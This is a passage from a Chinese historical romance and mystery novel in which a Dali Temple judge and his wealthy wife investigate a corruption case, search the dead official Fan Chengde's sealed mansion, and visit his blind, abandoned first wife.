萧远峥早已把张阁老家中人口熟记于心,观这少年十五六岁,一身书生意气,就道:“你是张阁老嫡幼孙,现已被剥夺国子监监生身份的张翠羽。” “我是!” 萧远峥道:“圣旨上说的很清楚,此次吏部贪污大案,凡被查出来,贪污六十两银子以上的,都要斩首。你祖父收受范成德的赃物,粗略估算也有两万两,你自己折算折算,六十两一颗头,你祖父该被砍几次,罪证确凿,你有何脸面喊冤?” 张翠羽到底年少,一下紫涨面皮,“可我祖父不是 幕后指使,他致仕后一直在家钻研如何鉴别古董字画的真假,两耳不闻官场事,圣旨上把他定性为范成德的幕后指使,这不对,这是冤枉我祖父!” 萧远峥端起茶来浅啜一口,淡淡道:“常言道,人之将死其言也善,范成德死前忏悔,指出张阁老就是驭使他的人,又给出了一个账本,他把这些年供给张阁老的赃物脏财都一一记录的清清楚楚,本官一一查证对照后得出结论,范成德没说谎。你既为你祖父喊冤,拿出证据来,我自会为张阁老洗冤。” “我不服!”张翠羽怒红双眼,“我祖父一生谨小慎微,绝做不出指使人盗卖太平仓赈灾粮的事情,定是、定是你也怕了,不敢再往下挖,就拿我祖父顶缸交差,萧远峥,都说你不畏强权,秉公执法,但我看你也不过如此。” 萧远峥怒声道:“查案断案都要以事实证据为支撑,更需耗费大量人力物力财力去查证,不是凭你的臆测。我知你从富贵子弟一朝跌落,心中怨愤不平,可陛下对你张家只诛首恶,已是从宽发落,你不要不识好歹,来人,拖出去。” 张翠羽被两个锦衣卫架住手臂向外拖拽时急了,蓦的看向萧远峥身上所穿斗篷,怒道:“你身上的羽缎金线斗篷价值不菲,你敢指天发誓,你就一点没贪过吗?!” 慕容鸾音一直都在白圈外站着,闻他此言,心念一动起了坏心思,立时扬声笑道:“我为他作证,他一点没贪,更没必要贪,他穿的是我的嫁妆,福缘药行慕容氏你可听说过?” 彼时张翠羽已被扔到了白圈外,瘫在地上哭闹,“还我祖父头来。” 可周围看热闹的,其中有些知道慕容氏财力的都哗然哄笑。 “原来青天萧大人是个吃软饭的。” 慕容鸾音听见了,与萧远峥四目相对时,挑衅一笑。 萧远峥深吸一口气,佯装羞愧,拿起书挡住脸。 坐在他左后方的苏逢生便笑道:“萧大人,咱们两个也凑在一块吃过好几顿酒饭了,怎没听你提起过家有如此财主贤妻,往后我可不抢着付钱了。” 那边厢,慕容鸾音正欣赏萧远峥那狗东西的“丑态”呢,肩膀上忽的搭上来一只修长如玉的大手来,她回头一看顿生欢喜,“哥哥,你也来看杀头啊。” 慕容韫玉看着慕容鸾音一副天真欢喜模样,不由得远远怒瞪萧远峥一眼,再低头时又温柔一笑,“妹丈弄完了这一摊子还要回宫复命,你随我回家去,阿娘今日得闲炖了一锅红烧牛肉,早上还说,等炖的脱骨时就给你送去一碗,正巧了,在这里遇见你,走,咱们回家吃。” “也是巧了,我也有事找你。” 兄妹俩说着话登上了慕容韫玉双马拉的大马车,碧荷冬青则坐到了慕容鸾音的马车上。 两辆马车一前一后,一大一小,轱辘辘向慕容家的方向而去。 萧远峥瞧见是慕容韫玉带走了慕容鸾音,亦放下心来,走出棚子,骑马回宫复命。 慕容韫玉的马车,外面是湖绿色粗麻车衣,里面却用铜钱瑞兔纹秋香色妆花锦贴壁装饰,脚下铺着一张猩猩红五福捧寿漳绒毯。 内置一张量着尺寸做成的美人榻,四根腿牢牢钉在车板上,即便马车经过再崎岖的路,美人榻也不会翻倒。 车壁底部亦另有乾坤,做成了两行屉柜,既能坐人又能存放东西,屉门上嵌着祥云铜环,只见慕容韫玉探手一拉就拉出一个小抽屉来,里头放着一攒盒蜜饯。 这会儿,慕容鸾音吃完一颗雕花蜜饯就道:“哥哥,你那里有没有什么能穿在身上的软甲之类的护身之物。” 慕容韫玉压着怒火道:“今日可是他让你来观刑的?” “我自己来的,我要让满京城人都知道‘他最爱我’。” 慕容韫玉怒火稍减,“你可知他身处险境,傻乎乎的想替他分担危险不成?” 慕容鸾音露出执拗神色,低着头把攒盒盖上,“我既处在他妻子这个位置上,无论是恶鬼索命,还是死士刺杀,都该我与他共担,我也不想自己有危险,那哥哥答应我和离吗?” 慕容韫玉一下哽住,拳头攥紧又松开,松开又攥紧,反复几次后放柔声音,道:“我想想,或许可抽取金丝与蚕丝一起编织,而后做成贴身穿的样式。” “甚好、甚好,哥哥也做一件穿在身上,如此,到外地巡查铺子时也多一层保护。” “好。”慕容韫玉把慕容鸾音搂到怀里轻拍,一时无言。 待得到了家,何赛仙已打发人给慕容鸾音送红烧牛肉去了,却见她和慕容韫玉一起回来了,欢喜不迭,又盛出一大碗来放她面前,让她坐下吃。 慕容鸾音错过了早食,只吃了半碗燕窝粥垫肚子,这会儿正饿呢,就和慕容韫玉一块埋头大吃起来。 何塞仙见他们兄妹二人吃相一般无二,心里越发高兴,陪着边吃边闲话家常。 慕容鸾音好些日子没吃过阿娘亲手做的红烧牛肉了,这一顿就吃的有些撑,在家里花园转了转,就回自己闺房睡觉去了。 待得她一觉醒来,已是黄昏日落。 碧荷走上前来勾上床帘就道:“世子爷来接姑娘回府,现正在大爷的书房里说话。” 慕容鸾音迷迷糊糊的想,他们两个何时这般好了,梦境里哥哥还骂他萧贼呢。到后来,哥哥再也没出现过,许是恼恨我烂泥扶不上墙,彻底厌弃了? 可哥哥怎么会厌弃我? 我做了什么吗? 这时慕容韫玉的丫头走来道:“姑娘,大爷让您随世子爷回家去,他就不送了。” 慕容鸾音撇嘴轻哼,站起来披上红羽缎金莲花斗篷就向外走去。 何赛仙并慕容韫玉之妻潘素馨将慕容鸾音送出门外,萧远峥穿着黑羽缎金莲花斗篷已等在马车旁。 慕容鸾音走向他,对他伸手,傲慢道:“扶我登车。” 萧远峥冷着眉眼盯了她一会儿,见她一点都不退让,显见的要将她自己的那个主意执行到底,念头一转就有了应对之法,打横抱起就送上了马车。 慕容鸾音受宠若惊,杏眼微睁,但也不做他想,坦然受之。 落霞如锦,秋风渐起,把朱盖璎珞车上的五彩穗子吹的摇摇曳曳。 萧远峥骑马在前,赵荆阎大忠骑马护卫在马车两侧。 约莫过了一盏茶的功夫,坐在车厢内的慕容鸾音和两个丫头都觉出不对来。 “萧远峥,你带我去哪儿,这不是回国公府的路。” 萧远峥冷冷道:“依从你的主意,我们形影不离,带你去查案。” “好啊,我对查案也极有兴趣,‘狐仙’都遇见过了,正想着再遇‘黄仙’‘柳仙’,最好五大仙家都遇齐了才好呢。” 慕容鸾音说完就撂下帘子嗤笑,我可是自小摸着骨头架子学认骨的,我胆子会小吗,想吓退我,没门! 待得马车抵达范成德被查封的府邸角门,已是暮色四合。 赵荆蹬着阎大忠的手掌跃上墙头,跳下去后从里面打开了门。 萧远峥率先踏入,低声道:“跟紧我,别乱逛。” 慕容鸾音点头,同样低声道:“今日杀的那些贪官都是范成德供出来的吗?在刑场你说什么‘人之将死其言也善’我却不赞同,范成德那样的人难保不会临死故意报复,胡乱攀咬。而且,你白日里还跟那个张阁老的孙子说只认证据,晚上就又来查探范成德的府邸,可见你是另有谋算。” 萧远峥蓦地驻足,低头一边胡乱想着一边说话的慕容鸾音没注意,一头撞他后背上,捂着头抬眸瞪他,“怎么忽然不走了。” 萧远峥唇角微露一点笑意又压下,接过赵荆点亮的灯笼照着慕容鸾音明艳的脸蛋,就道:“范成德没有胡乱攀咬,他供出来的都是他一根藤上的贪污犯,但他贪污的大头不知所踪,这说明他隐下了一条大鱼,一条能让他甘心情愿赴死的鱼精。” 慕容鸾音兴奋的杏眼晶晶亮,“不曾想今夜没有黄仙柳仙,却有鱼精。” 萧远峥心头却有些 沉重,见阎大忠又找来两个提灯,就把手里的递给碧荷,碧荷连忙接在手里给慕容鸾音照亮。 一行人跟着萧远峥往前走,经过一片烧的只剩房梁骨架的屋舍。 慕容鸾音不由得问道:“怎么只这一处烧成这样?” “这是范成德的书房。”紧接着又提醒道:“地上有用石灰撒过的地方,都是这府里人被灭口时死亡的形状。” 慕容鸾音提起裙子连忙仔细看路,生怕踩了人家的死亡地。 萧远峥一路来到范成德的卧房,吩咐赵荆阎大忠把屋里的灯点上,随即就不再理会慕容鸾音,皱着眉开始仔细搜寻。 慕容鸾音也学着他的样子四处查看,但不过是蜻蜓点水做做样子,只在自己感兴趣的东西上瞥两眼,闲逛至暖阁,就被挂在床头墙上的一幅画吸引住了。 画上画的是伏羲娲皇图,伏羲娲皇上半身相拥,下半身交尾相缠,伏羲右手高举紧握八卦盘,娲皇左手怀抱一团黄泥,黄泥里捏了很多奇形怪状的小人,一眼看去透着邪性。 慕容鸾音顿觉浑身不舒服,嘀咕道:“难不成苦读圣贤书,官至吏部侍郎的人也信邪教了?” 正在用剑柄敲击墙壁的萧远峥心念一动,走到慕容鸾音身畔,也看向那幅他上次来就注意到的《伏羲娲皇图》,“你为何会觉得范成德信邪教了?” 即便是范成德临死之时,他也保持了一个文官的体面,未曾说过一句鬼魅邪恶之语。 “你自己瞧。”慕容鸾音一指那团黄泥,“女娲是抟土造人,造的是人,可这幅画的黄泥里却密密麻麻都是渗人的东西,还有,谁会在床头挂这么邪性的图,不怕晚上做噩梦嘛。” 萧远峥定定看慕容鸾音一眼,踩着床榻就上去把这幅画取了下来,就在这时赵荆来禀报道:“主子,后花园发现一个晕倒的小公子。” 慕容鸾音讶然,心想什么样的小公子会到这等凶宅来闲逛,还晕倒了,难不成遇见鬼吓晕的? 第28章 第028章红烧牛肉慕容鸾音随…… 慕容鸾音随着萧远峥到了发现小公子的地方,是在荷塘边一块青石板上,赵荆碧荷提着灯笼照过去,就见那是个白白净净的少年,头戴幅巾,穿一袭嫩绿色织金锦袍,腰上玉环绦带,还坠着一块蟾宫折桂的金镶玉玉佩。 “还真是一个有钱人家的小公子。”慕容鸾音说着话蹲下身拿起他的手就摸脉。 萧远峥却一把把小公子的蟾宫折桂金镶玉玉佩拽了下来。 “你拽人家玉佩做什么,难不成想趁着人家昏迷昧下?”慕容鸾音嘲笑一声,放下小公子的手腕就去摸人家的肚子,寻到胃脏的位置按压了几下。 “范成德被谋杀的小儿子也有一块这般的玉佩,一模一样。”萧远峥看着慕容鸾音的动作,抬眸肃然道:“弄醒他。” 慕容鸾音一听,也郑重起来,收回放在小公子肚子上的手又看向旁边那堆还有火星子闪烁的纸灰余烬,稍许沉思后才道:“冬青,去折荷叶包一捧冷水来泼他脸上。” 冬青答应一声就向水边走去。 随后慕容鸾音又对萧远峥道:“他应是情志受损,胃脏内又无食物可转化成血气运转全身,故而晕厥。等他醒来需要立马给他吃点东西。” 此处既是凶宅又是被大理寺查封的,如何会有现成的吃食。 萧远峥正想法子,慕容鸾音忽然想起自己荷包里有从哥哥马车上装来的一把蜜饯,就拿了出来,得意道:“我这里正好有点。” 萧远峥轻轻一笑,把小公子扶了起来。 待得冬青把小公子泼醒,慕容鸾音就把一颗糖渍青梅塞他嘴里,“快吃吧,无核的。你悲伤过度把自己饿晕了。” 小公子将将苏醒,脑子还懵懵的,但他的口腔已经先一步分泌出了唾液,他的胃也隐隐抽痛向他发出了抗议。 紧接着,小公子不用人让,眼睛盯着慕容鸾音手上敞开的荷包,立时抢到手里狼吞虎咽的吃起来。 小公子吃完蜜饯,身上有了一点力气,脑子也运转起来,先是打量萧远峥和慕容鸾音的穿戴,见他们二人身上所穿是金线刺绣的羽缎斗篷,慕容鸾音头上、耳上、脖子上戴的都是金闪闪镶嵌红宝石的奢华首饰,又端详他们二人的相貌气韵,一个冷肃清贵,一个明媚娇艳,一看就是一对出身不俗的富贵夫妻,就从容道:“我是郯国公府世子玉成烨,是你们救了我?你们是哪个府上的?” 慕容鸾音和萧远峥几乎是一齐怔了怔,慕容鸾音一下子对他亲切起来,柔声道:“原来你是郯国公的儿子,我是已故浙川布政使慕容青云的孙女,你兴许不知道谁是慕容青云,但你父亲知道,别怕,我们不是坏人。” 玉成烨颤着腿站起来道:“我知道。惊才绝艳,艳压同辈的慕容青云大人我们读书人想不知道都难,当年我父亲和你祖父同在西洲府为官,我父是按察使,慕容青云大人遇难,还是我父亲查出的真凶。” 慕容鸾音的双眼一下模糊了,喉咙一哽背过了身去。 萧远峥脚步后挪,一侧身躯靠近她。 慕容鸾音侧身避开,用帕子点了两下眼睛又转身回来,看着玉成烨道:“你怎么会出现在这里,是给谁烧纸?” 萧远峥喉头发紧,清了清嗓子,随即冷下眉眼,拿出那块蟾宫折桂玉佩在他眼前一晃,道:“你和范如晔是什么关系,怎么和他有一模一样的玉佩?跟我回大理寺交待清楚。” 玉成烨下意识往自己腰间去摸,果然不见踪影,连忙带着哭腔道:“你拿我玉佩做什么,快还我!” 萧远峥皱眉道:“不许哭,如实回答我的问题,如是不从,拿你回大理寺,当做嫌犯关押。” 玉成烨恍然,哭道:“我知道你是谁了,你是大理寺卿萧远峥,郧国公府世子。我、我说就是,范兄是我的挚友,我们在一个文会上相识,一见如故,闲谈时又发现我们同是国子监的学生,从此就频繁往来,越是相处越觉得对方合自己的脾气,就成了无话不谈的好友,一日我们一块逛街时,在一个铺子里看上了同一块羊脂玉,我们就把羊脂玉分成两半,选了蟾宫折桂的样式,让人打造了两块一模一样的金镶玉玉佩,萧大人,你现在可以还我了吧。” 玉成烨两手张着,用哀求的眼神看着萧远峥。 慕容鸾音生气了,掰开他手抢回来就递还给玉成烨,道:“夜深了,用我的马车送你回家如何?” 玉成烨珍重的把玉佩收入袖中才道:“不敢劳烦,我自己会回去。” 萧远峥蓦的攥紧自己被掰开的那只手,仍旧抬起一臂拦住玉成烨,冷冷道:“你还没有交代清楚,为何今夜会出现在这里烧纸?” 慕容鸾音气他理智无情,红着眼眶道:“人家何日烧纸还要通知你吗?人家来此悼念自己的挚友还要你同意吗?他都哭晕了,能是什么坏人?又抢人家玉佩又不许人家走,你有病啊!” 萧远峥深吸一口气,耐着性子温声道:“你不懂……” “我是不懂,我只知道他至情至性,不是坏人。” 萧远峥冷笑,“你怎么判断的,因他哭晕了就不是坏人?荒谬!” 侍立在侧的丫头护卫见他们二人吵起来了,都不敢吱声。 玉成烨见他们争吵,忽的脸色发白,心慌冒汗,连忙哀求道:“别吵、别吵架,我说、我说,我父母不 让我和范兄来往,得知范家犯了事,我母亲就警告我说,父亲才给我请封了世子,越发不能惹父亲生气,就让人盯着我哪里也不许去,可我和他好了一场,既无能为他收尸,难道连烧纸都不能吗?于是日夜寻找机会,可巧今日盯我那个小厮吃坏了肚子,我就偷跑出来,范兄说过,他最喜欢在家里的荷塘水榭读书,推开窗就能赏荷,我就想着,倘若范兄魂魄还在,必会在此处流连,就在这里给范兄烧了纸,敬了香,巴望着再见一面,质问他一句,因何不入我梦与我告别一回。” 话至此处,泣不成声。 慕容鸾音见他哭的这样情真意切,也陪着落泪。 萧远峥见她如此,心中无可奈何,叹一口气,道:“别哭了,送你回家便是。” 慕容鸾音擦擦眼泪,横他一眼,“你这还像是一句人话。” 玉成烨抽噎道:“求、求你们别惊动了我父母。” 慕容鸾音安慰道:“你既是偷跑出来的,我们只把你送到郯国公府附近便是。” “多谢。” 片刻后,一行人从角门走出范宅,赫然就见正门处停着一辆马车,车前檐上挂着两盏红灯笼,车旁站着一个梳着双丫髻的婢女,玉成烨一见那婢女就又哭起来,“完了,我母亲追来了。” 萧远峥与慕容鸾音对视一眼,联袂走上前去见礼。 “大理寺卿萧远峥携妻拜见郯国公夫人。” 车内传出一道沙哑的女声,“免礼。出来的匆忙没有梳妆,就不下车与你们寒暄了。孽子,还不快上来与我一块归家更待何时?” 玉成烨连忙软手软脚爬上马车,进了车厢就挨了一巴掌。 慕容鸾音听那声音都替他疼了一下子。 随即,郯国公府的马车就像一阵冷风似的刮走了。 “咱们郧国公府没得罪郯国公府吧,这位国公夫人有些无礼了。” “不必理会。”萧远峥把慕容鸾音抱上马车,自己也翻身上马,“回府。” 却说被留在瑞雪堂的茯苓,眼见天都黑了,慕容鸾音还没回来,一面悬着心一面把晚食提了回来在茶炉子上温着,还把茶奁里的茶水倒了,换了一壶热热的白开水。心里想着,若是碧荷还会考虑到什么,就又去暖阁检查了一遍慕容鸾音晚上偶尔会用上的紫檀木小鹿马桶,掀开看了看,见里面香粉撒的少了,又去找来香粉重新撒了一遍。 弄完这个,又到院门口去张望,这一回她悬着的心就放下了,连忙回屋去带着小丫头们摆饭。 慕容鸾音一回来,看见几上还摆着一碗红烧牛肉,就摆手道:“我不吃了,快倒杯水来我喝。” 萧远峥知她应是在慕容家吃过了,就自己坐到榻上吃起来。 慕容鸾音接过茯苓捧来的釉里红葵口杯,一口气喝净就道:“再来一杯,把茶壶也拿来。” 茯苓愕然,不禁看向碧荷。 碧荷笑道:“几上那碗红烧牛肉是家里夫人送来的不是?” “是,我正要和姑娘说呢。” “不必说了,姑娘是在娘家吃了一顿回来的,吃多了,咸着了。” 慕容鸾音又喝完一杯才笑道:“阿娘今日炖的红烧牛肉稍咸了一点。” 萧远峥听着她们主仆说话就夹起一块吃了,道:“不咸。” 慕容鸾音白他一眼,“我们口味不同,自然感觉咸淡就不同,我偏说咸了,你别吃我瑞雪堂的饭,回你的静园吃去。” 萧远峥不作声了,捧着碗自顾自吃饭。 第29章 第029章瞎眼弃妇一时饭毕,…… 一时饭毕,夫妻二人各自洗漱更衣后,一个去了西暖阁,一个去了碧纱橱,碧荷听见“熄灯”的命令,就带着冬葵进来把灯熄了,把两边纱幔放下,轻手轻脚关上门退了出去。 萧远峥连日来奔波,已是疲惫,便把床头灯也熄了闭目睡觉。 却不想,暖阁里的慕容鸾音白日里在娘家饱饱睡了一觉,这会儿一点困意都没有,亮着灯,一会儿是拉抽屉的声音,一会儿是喝水的声音,一会儿又是翻书声。 萧远峥缓缓睁开眼,揉了揉太阳穴,正要开口提醒,暖阁里就寂静了下来,他就两手交叠放在腹部,闭上眼睛准备继续睡。 忽的,那边隐隐传来一阵哗哗流水声,萧远峥眼睛闭着,禁不住就想到她的湿软香滑之处,喉结就上下滚动了一回。 却说慕容鸾音,小解后,盥了手,在床榻上坐了一会儿,仍觉精神抖擞,竖起耳朵却听不见碧纱橱里有一丁点的动静,心里就想着,我睡不着,如何能让你安睡,就端起床头的琉璃莲花灯拨开纱幔走到他这边来。 待得拨开他的床帘,举灯往他脸上一照,果见他睡着了,睫毛低垂,又浓又密,鼻梁高挺,唇色殷红,只要不睁开那双仿佛能看透人心的清冷眼睛,依旧是个朗艳如玉模样。 慕容鸾音毫不心软的捏住他的鼻子,不许他呼吸,迫使他醒来,“你把从范成德家取回来的那幅画放哪儿去了?” 萧远峥一把攥住她的手腕,缓缓睁眼灼然盯着她,“你要那幅画做什么?” 慕容鸾音作势倾倒琉璃灯,要把蜡泪滴他脸上,“松开。” 萧远峥松开她手腕,坐起来拿走她手上的琉璃灯放到床头,“这么晚不睡,你来找我生孩子吗?” 慕容鸾音一霎涨红脸,“我知你心里急着让我生,生完了好搬走,但你先别急。我想到看过的话本里面有个情节,江湖骗子会用姜黄水在白纸上写字,干了以后再用碱水一喷就会显现血红的字,以此来哄骗百姓有恶鬼作祟,那幅画那般邪性,喷上碱水试试,说不定会有收获呢,我是好心想帮你破案。” 萧远峥嗤笑,就那么看着她不说话。 慕容鸾音的脸更红了,往脚踏上一坐就道:“我就是睡不着,你也别想睡,你讲个故事哄我。” 萧远峥重新躺下,拉高锦被,两手交叠于腹,“可以讲,你拿什么换?” 慕容鸾音自以为也看穿了他,当下冷笑一声,就跑到暖阁抱了自己的合欢绣被和鸳鸯香枕来,撵他往里面睡,自己睡在外面,并不稀罕和他脸对脸,而是侧身向外躺着,“你给我讲范成德的故事吧,我挺好奇他都官至吏部侍郎了,怎么还会信邪教,寒窗苦读那么多年,把脑子读坏了不成,讲好了,我就给你。” 她一来,满帐子就都是幽微的花香气。 萧远峥望着床顶唇角微翘,“范成德,京城本地人,家住在西城大槐树巷,五岁时,他父母给他买了一个大五岁的童养媳范绣娘,范成德十三岁上父母相继亡故,他与范绣娘相依为命,范绣娘为了继续供他读书考学,没日没夜的刺绣,把眼睛熬瞎了。” 慕容鸾音听到这里不免心生悲愤,“你别说,我猜一猜,那范成德定是一朝考中之后就迎娶了高门贵女把糟糠妻抛弃了,是也不是?” 萧远峥梳理着关于范成德的一切信息,道:“是。范成德天资不错,苦于家贫而无名师指导,但他二十六岁时钻营到一个文会上充作端茶倒水的茶博士,被张阁老相中,特允他到张家族学旁听,张阁老本人很重视自家的族学,故此每旬都会亲自去讲课,如此两年后,范成德就考中了榜眼,张阁老得意于自己慧眼识珠,越发想把范成德这匹千里马绑在张家这条船上,故此就向范成德透露嫁女之意,范成德回家就休了糟糠妻,彼时,范绣娘已为他生育了两子,眼睛也完全看不见了。” “我猜着就是这样。当范绣娘正在为夫君考中榜眼而高兴,当她心里想着,终于苦尽甘来时,未曾想到,等来的却是一纸休书,这于范绣娘而言,无异于晴天霹雳,她该多伤心,多愤怒啊。”慕容鸾音落下泪来,“负心薄幸男儿郎,都不是好东西。” 萧远峥掀开自己的竹青锦被,挪到慕容鸾音的合欢绣被里,搭了一条胳膊到她腰上。 慕容鸾音 一把给他撂开,没好气的道:“没讲完呢,不许动我,后来呢,范绣娘眼睛瞎了,何以谋生?不会、不会死了吧?又或者被范成德人不知鬼不觉的害死了?” “那倒没有。”萧远峥侧身挨着她,一手拄着头,另一只手就轻放在她酥软的腰肢上,“范成德还有点良心,把老宅给范绣娘居住,又找了个孤儿给她做婢女照顾她饮食起居,每月还会亲自给她送东西,吃的喝的用的,无所不包。” “虚伪。每月都去作甚,戳范绣娘的心窝子嘛,明明是自己一手供养出来的夫君,转头却成了别人的,呕死了。” 萧远峥抚摸的动作一顿,是啊,每月都去送东西,有必要亲自去送吗?旧情难忘是瞎扯,但……范绣娘于范成德而言,除了是妻,还是他两个儿子的生母,更是姐姐,是母亲?若从挚亲的角度考虑,范绣娘就是他能信任的人。范绣娘那里是郭照去查问的,笔录上写着,范绣娘得知两个儿子都死了以后,日日以泪洗面,问什么都说不知道,可她真的什么都不知道吗?或许,明日一早他应该亲自去范家老宅查问一遍。 今夜慕容鸾音上身穿的是一件杏黄色妆花纱交领短衫,下面是一条雪白色纱裤,不知何时系带已全被解开。 萧远峥紧贴着她后背,在她耳畔哑声低语,“讲完了。” “还不行。”慕容鸾音腿儿绷直,抓着他箍在她腰上的手背喘息,“你告诉我范绣娘住在那个巷子里的哪一户宅子?” 萧远峥不语,只把她纱裤扔到了床下。 一霎,淡青色的帘帐簌簌颤起来,波纹晃荡不休。约莫过了半个时辰,慕容鸾音浑身酸软入了梦乡。萧远峥在她颈侧深吸了一口,仍是抱着送回了暖阁。 一夜再无别事。 翌日,晴空一鹤排云上。西城,大槐树巷子,一眼望去都是黄泥石墙,蓬门荜户,只其中第三家是青砖大瓦房,黑油大门配锡环,门前还有如意纹抱鼓石。 彼时,邻居门口站着两个抱孩子的大娘,一个梳着包髻,包了一块酱红色布帛,一个戴着银球簪,正交头接耳说范家的事儿,忽的那戴银簪的往巷头一瞥,就见一辆贵气的璎珞车驶了进来,后面还跟着一辆装满东西的骡子拉的大板车,直接越过她们,在范宅门前停了下来。 梳包髻的大娘眼睛就盯着那个从马车上跳下来的车夫了,穿一身青灰色短褐,虽是戴着斗笠看不清脸,但身高腿长,弯身放下车凳时,那腰看起来劲瘦有力,勾引的人转不开眼去。 又一时,从车上下来两个穿绸着缎,模样俊秀的姑娘,就在戴银球簪的大娘以为是两位小姐时,紧接着又下来一个,这一个甫一露面,大娘就知自己猜错了,原来那两个是婢女,这一位艳光四射的年轻美少/妇方是女主子,大娘立时就被女主子那满头的金嵌宝首饰晃花了眼。 慕容鸾音扶着萧远峥的手臂才落地,就轻拍他竹篾斗笠一下子,颐指气使道:“还不快去叫门,等我亲自去嘛。” 萧远峥微抬斗笠,睨她一眼,转身去了,敲了几下里头无人应答。 梳包髻的大娘连忙抱着孩子上前,极为热情的道:“这位车夫小哥儿,你别敲了,这家里只剩一个瞎眼弃妇了,原先服侍她的那个婢女,前两日卷了财物跑了。里头那个瞎眼的,还不知是死是活呢。” 慕容鸾音走到萧远峥身畔就望着大娘道:“你们既知道她如今只一个在里头,就没想着进去瞧瞧吗?” 这时戴银球簪的大娘就插话道:“自从她家重盖了老宅,换了门楣,就不与我们这些穷邻居来往了,她家富贵时不搭理我们,一朝跌下来,我们又凭什么上赶着问候她。我瞧贵人拉了一车的米面粮油,可是要给她的?” “是。”慕容鸾音道:“听说了她的平生遭遇,心生怜悯,又知道范家被灭了满门,她无人供养了,就想着给她送些实用东西,再给些银子。” 银球簪大娘就道:“贵人既是好心,不如让你的下人翻墙进去,从里面把门打开,我们也跟着进去瞧瞧,好知道她是死是活,活着就罢了,若是不幸死了,我们可得告诉里甲去。” 萧远峥一听就向站在骡车旁的赵荆阎大忠使眼色。 二人早就经验丰富,走向墙根,一个踩着一个的手掌跃上了墙头。 不一时,门从里面打开了。 第30章 第030章慈悲观音范…… 范成德这老宅是两进院子,进去后迎面就是一座影壁,上面浮雕着一幅图,图上有一尊坐在莲花宝座上的观音,观音左手托着玉净瓶,右手捏着杨柳枝,正将甘露水撒向一个男子头顶,那男子头戴儒巾,穿着襕衫,两手合十跪在观音脚下,神情十分虔诚。 慕容鸾音见萧远峥驻足观图,她也跟着看了两眼,立时就纳闷起来,“这个范成德越来越有意思了,在自己富贵大宅子里挂邪性的《伏羲娲皇图》,在这二进小宅里又立下一座正经的慈悲观音影壁,你说他究竟是信了邪教还是佛教?” “暂不能下定论。”萧远峥说完这句就转头看向跟在后面的两个抱孩子的大娘,“敢问二位贵姓?” 梳包髻的大娘立马抢答,赔笑道:“我娘家姓包。” 戴银球簪的大娘见眼前做车夫打扮的青年竟敢和女主子站的那般近,站在一块时,两人的相貌又那般匹配,心里就有些犯嘀咕,闻言也赶忙道:“我娘家姓于。” 萧远峥就问道:“你们是怎么知道范绣娘的婢女卷了府内财物跑了的?” 于大娘就道:“两天前的早上,我抱孙子到门口玩,瞧见她家大门是敞开的,门槛上还掉了一件绿绸裙子,我心里奇怪就进去瞅了瞅,这一瞅不要紧就见她家的屋门都是开着的,屋里头被翻的乱七八糟,我就赶紧去告诉了里甲,里甲报了官,来了俩捕快,在大衣柜里找到了范绣娘,那范绣娘像是吓傻了,捕快问她什么她都不知道,只是哭,钱财和婢女都不见了,捕快就说定是婢女卷钱跑了,我们左邻右舍的凑在一块说闲话,寻思也是这么个情况。” 彼时,一行人已进了垂花门,到了正房门口,房门推不开,从里面拴上了。 萧远峥就示意赵荆踹门,自己则走到院子里查探,东西厢房的门都是敞开的,东厢房里堆着码放整齐的柴火,有灶台、茶炉子,瓜果蔬菜等做饭所需之物,显见是厨房,西厢房分作了两半,一半垂着不透光的纱幔,一半像是充作库房用,地上放着几个空的大板箱,地上丢着些不值钱的纱料,很像是小偷把值钱的东西一卷而空的现场。 萧远峥拨开纱幔往另一边瞧去,就见里头有一张架子床,床上枕头被褥俱全,有一套桌椅书架,上面整齐放着许多书籍,地上铺着一块湛蓝色厚毡毯。 忽的,正房中传来两个大娘的破口大骂声,萧远峥放下纱幔走出西厢房就见慕容鸾音抱着个孩子,捂着口鼻疾步走了出来,后面跟着碧荷,碧荷怀里也抱着一个孩子。 萧远峥紧走两步,上前看着她道:“怎么了?” 慕容鸾音指指正房卧室就道:“那个范绣娘还活着,就是、就是……” 萧远峥见她眉尖蹙起,一副犯恶心的样子,稍微一想就道:“无人照顾之后,浑身脏污?” 慕容鸾音猛点一下头,深吸一口气缓和了一下才接着道:“她窝在床上,把床当做了净房,不止如此,还、还弄的到处都是。你先别进去,我答应把带来的米面粮油分那两个大娘一半,让她们帮着把范绣娘收拾干净了你再盘问。” 就在这时,慕容鸾音怀里的孩子瞅着她耳朵上金光闪闪的金石溜耳坠子好看,一把就揪到了自己小手里。 萧远峥也不曾想小孩子的手那般快,听得慕容鸾音呼痛,连忙抓住小孩手臂,去掰她 小手指,冷声呵斥,“放手。” 慕容鸾音连忙道:“你轻点,小孩儿的手指嫩,别给人家掰折了。” 少顷,小孩到了萧远峥怀里,这小孩不过两岁大小,长着一双水灵灵的大眼睛,待得与萧远峥对视了一会儿,“哇”的一声哭了出来。 慕容鸾音揉着自己的耳垂,连忙拔下自己头上一只迎风会颤的金蝴蝶簪塞她手里,哄道:“别哭、别哭,看,会动的蝴蝶。” 屋里的包大娘听得自己孙女的哭声还当是被贵人嫌恶挨打了,急忙出来一瞧,正瞧见慕容鸾音把金蝴蝶往她孙女手里塞,心里一喜,快步走上前来就咧嘴笑道:“那范绣娘太腌臜了,得给她洗个澡,我这就回家去烧热水提来,贵人放心,我还把我儿媳妇叫来,保准把范绣娘洗的干干净净的。” 话落,抱走孙女就兴冲冲的向门外走去。 萧远峥望着那个一溜烟就跑没了的包大娘,道:“她不会回来了。” 慕容鸾音整理好胳膊上的披帛,笑道:“我赌她会回来,会带来一个帮手和热水。这个包大娘自己穿着一身打补丁的衣裳,小孙女却穿着一身簇新的,倘若不回来,也没什么,我只当日行一善。” 萧远峥瞥向她被扯过的那只耳朵眼,有一点红,就道:“疼吗?” 慕容鸾音撩起眼皮白他一眼,“我疼我的,干卿何事。” 二人正打眉眼官司呢,进来一个腰粗屁股大的年轻妇人,也穿着一身打补丁的麻布衣裳,袖子卷到臂肘处,腰上系着灰布围裙,低着头就慌忙钻进了厨房,一阵捣鼓后就升起了炊烟。 慕容鸾音欢喜不已,“我赢了,定是包大娘的儿媳妇无疑了。” 果不其然,又过一会儿,那包大娘就提着一桶热水回来了,脸上笑容满面,干起活来十分卖力。 约莫过了一个时辰,范绣娘被洗干净换了干净衣裳,梳了头,也吃了一顿饭,就被安排在院子里坐着。 慕容鸾音把米面粮油分了一半给于包两个大娘,就把她们打发走了。 萧远峥打量范绣娘,但见她四十来岁年纪,头发乌黑,除了眼睛看不见,能看出范成德给她找的那个婢女素日里把她照顾的不错。 